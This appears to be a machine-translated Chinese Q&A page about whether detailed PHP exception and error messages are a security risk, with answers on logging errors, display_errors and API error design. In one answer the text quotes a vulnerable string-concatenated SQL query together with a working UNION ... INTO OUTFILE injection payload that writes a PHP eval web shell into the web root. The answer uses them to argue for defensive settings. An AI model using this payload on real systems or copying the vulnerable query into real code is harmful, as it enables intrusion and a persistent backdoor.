Question

我目前使用isset()检查每个GET和POST变量，并在isset()返回false时抛出异常。

示例1：

if(!isset($_GET['some_var']))
    throw new Exception('GET variable [some_var] is not set.');

$someVar = $_GET['some_var'];

示例2：

if(!isset($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not set.');

if(!ctype_digit($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not a number.');

$someNum = $_GET['some_num'];

在我的生产应用程序中，我有一个全局异常处理程序，它将异常和错误发布到日志文件，然后重定向到一个通用的道歉页面。

这是一个好的做法吗？是描述性异常和错误消息，例如上面的安全风险（黑客是否有可能读取异常通知，然后使用该信息来操作我的脚本）？

谢谢！

Answer 1

记录错误和抑制输出完全您应该做什么。错误报告可能很讨厌..

在2007年的OWASP前10名中有Information Leakage and Improper Error Handling，但是在2010年已删除。通过在php.ini中设置dispaly_errors=On，您很容易受到CWE-200的攻击。您的Web应用程序的完整路径将泄露给攻击者。更糟糕的是，通过启用错误报告，可以通过查找sql错误消息更容易地找到SQL注入。

在PHP / MySQL应用程序上组合时，您可以执行非常严重的攻击

$vuln_query="select name from user where id=".$_GET[id];

如果

http://localhost/vuln_query.php?id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"

这使得这个完整的查询：

select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"

我会确保display_errors=Off并且文件FILE权限已被撤销到您的Web应用程序的MySQL用户帐户。

Answer 2

向用户显示详细错误可能存在安全风险。因为在这种情况下，它们只被写入日志文件，并且用户获得的唯一数据是一个通用页面，它不会显示任何内容，您可以按照自己的喜好进行描述，除非日志被泄露，否则不会显示任何内容。

Answer 3

“黑客是否有可能阅读异常通知然后使用该信息来操纵我的脚本？”

可能。

通常，您希望在错误情况下向最终用户提供尽可能少的信息。在这种情况下，如果您告诉某人某个特定的get变量不存在，那么他们可能会尝试向该变量提供随机值以查看该应用的行为。

当然，您还必须根据真实用户的需求进行平衡。如果变量是他们通常可以控制的变量，那么给出关于值的问题的响应是完全可以接受的。

<强>更新

最近遇到一连串似乎在考虑抛出通用错误消息的Web API，我想稍微更新一下。

至关重要的是，网络API会向消费系统提供适当数量的信息，以便他们能够找出错误并进行修复。

在最近的一个支付处理API案例中，他们的文档完全错误。他们显示的测试事务数据一直返回“服务器错误500”，我们没有办法，只是让他们的一个开发人员通过电话，并煞费苦心地逐步浏览他们的XML中的每个元素。在50个元素中，只有一个与“开发者文档”中的名称相同在另一个集成中，我们得到了“服务器错误402”。 - 这个不是支付网关。虽然从未在他们的doc中引用过，但显然该消息意味着缺少JSON参数。顺便提一下，它是一个参数，在他们的文档中没有引用，并且需要时间与他们的开发人员一起识别它。

在上述两种情况下，如果错误消息已回复了有效文档帖子的示例，那将非常有用。类似于传递错误参数时旧的Unix / DOS命令如何与帮助信息一起返回。我真的不想和其他程序员交谈。我知道他们的时间很昂贵，他们更愿意做一些其他事情而不是回答支持电话;但更重要的是，如果我在晚上10点工作并需要一个RFN答案，那么等到程序员第二天可以接通电话很少是一种选择。

Answer 4

通常认为在生产服务器上打印出PHP系统错误消息而不是静默记录它是不安全的虽然我在通用道歉页面中找不到任何危险。

详细的异常/错误消息是否存在安全风险？

4 个答案: